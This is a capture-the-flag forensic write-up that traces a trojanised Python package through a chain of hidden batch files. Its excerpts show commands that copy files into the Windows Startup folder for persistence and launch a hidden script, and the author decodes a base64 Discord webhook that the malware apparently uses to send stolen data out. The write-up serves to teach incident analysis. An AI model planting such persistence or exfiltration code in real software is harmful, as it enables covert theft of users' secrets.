4 minutes
FDCA Xmas 2024 Day 11 - Duckfuscation
Challenge Description
Danish (original)
Vi har modtaget efterretninger om, at dele af vores hemmelige kildekode samt adgangskoder er blevet sat til salg på darkweb. Som led i efterforskningen har vi afhørt vores udvikler “Loke” og beslaglagt hans workstation til nærmere undersøgelse.
Under afhøringen var Loke ikke til stor hjælp; han snakkede konstant om Django, og til sidst var det kun et spørgsmål om sekunder, før IR-holdet, der udførte afhøringen, ville ty til andre metoder for at få ham til at tale. Heldigvis nævnte han dog en detalje, som de formoder er et vigtigt led i efterforskningen. Han nævnte at han engang havde hentet en Python-dependency fra en uofficiel kilde.
Selvom han syntes, det var mistænkeligt, at filerne var pakket i en zip-fil med en adgangskode, blev han beroliget, da kilden allerede havde givet ham koden: “123”.
Loke’s workstation er et digitalt kaos af kode, filer og rod, hvilket har resulteret i at IR holdet nægtede at undersøge den. Kan du hjælpe os med at gennemgå den og finde ud af, hvad der er sket? Vi advarer dog – det er ikke en opgave for de svagelige…
English (from chatgpt)
We have received intelligence that parts of our secret source code and passwords have been put up for sale on the dark web. As part of the investigation, we have interrogated our developer “Loke” and seized his workstation for further examination.
During the interrogation, Loke was not very helpful; he kept talking about Django, and eventually, it was only a matter of seconds before the IR team conducting the interrogation would resort to other methods to make him talk. However, fortunately, he did mention a detail that they believe is a key piece of the investigation. He mentioned that he had once downloaded a Python dependency from an unofficial source.
Although he found it suspicious that the files were packed in a zip file with a password, he was reassured since the source had already given him the code: “123”.
Loke’s workstation is a digital chaos of code, files, and clutter, which led the IR team to refuse to investigate it. Can you help us go through it and figure out what happened? However, be warned – this is not a task for the faint of heart…
File
We are also given the following file:
Solution
Opening the file using autopsy and looking around for a bit I found PythonExtendedLibrary_v4.3.1.zip
and the unpacked folder it created.
The full path to the folder is:
C:\Users\dev\Downloads\PythonExtendedLibrary_v4.3.1\PythonExtendedLibrary_v4.3.1\
Looking through the PythonExtendedLibraryInstaller_v4.3.1.bat
in this folder we find a call to another batch file:
[expunged for readability]
REM raise ValueError("Binary string can only contain '0' and '1' characters.")
start /min "" .\conf\project_template.bat
ping 127.0.0.1 -n 3 > nul
[expunged for readability]
And following the tail of bread crumbs to .\conf\project_template.bat
we find yet another call to a batch file:
[expunged for readability]
REM str: The XML representation of the binary string.
start /min "" .\conf\lib\flatpages\0001_failover.bat
ping 127.0.0.1 -n 1 > nul
[expunged for readability]
In .\conf\lib\flatpages\0001_failover.bat
we see two interesting sections:
[expunged for readability]
REM REM //A nullable int? with 80% probability of being null.
ROBOCOPY ".\ISO\userprofiles\storage" "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /MIR > nul
REM public enum Gender
[expunged for readability]
REM str: The XML representation of the binary string.
start "" pythonw "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\python_runtime.pyw"
REM .RuleFor(o => o.Description, f => f.Commerce.ProductAdjective()); REM // New Rule
[expunged for readability]
So it copies all files from the .\ISO\userprofiles\storage
folder into the user’s startup folder and then runs the python_runtime.pyw
that was put there, so lets look at .\ISO\userprofiles\storage\python_runtime.pyw
:
[expunged for readability]
SEND_REPORT_EVERY=30
WEBHOOK='aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMwMjcwNDU1MTAyMzc2MjgyMy93M0hqWURfRkRDQXtweTdoMG5fazN5MTA5OTMyX2QxNWMwMmRfM3hmMTF9'
def main():
[expunged for readability]
The python script does alot, but for the purpose of getting the flag I have cut it down to the WEBHOOK
constant, when decoded from base64 it gives us:
$ WEBHOOK='aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMwMjcwNDU1MTAyMzc2MjgyMy93M0hqWURfRkRDQXtweTdoMG5fazN5MTA5OTMyX2QxNWMwMmRfM3hmMTF9'
$ echo $WEBHOOK | base64 -d
https://discord.com/api/webhooks/1302704551023762823/w3HjYD_FDCA{py7h0n_k3y109932_d15c02d_3xf11}
And so the flag is FDCA{py7h0n_k3y109932_d15c02d_3xf11}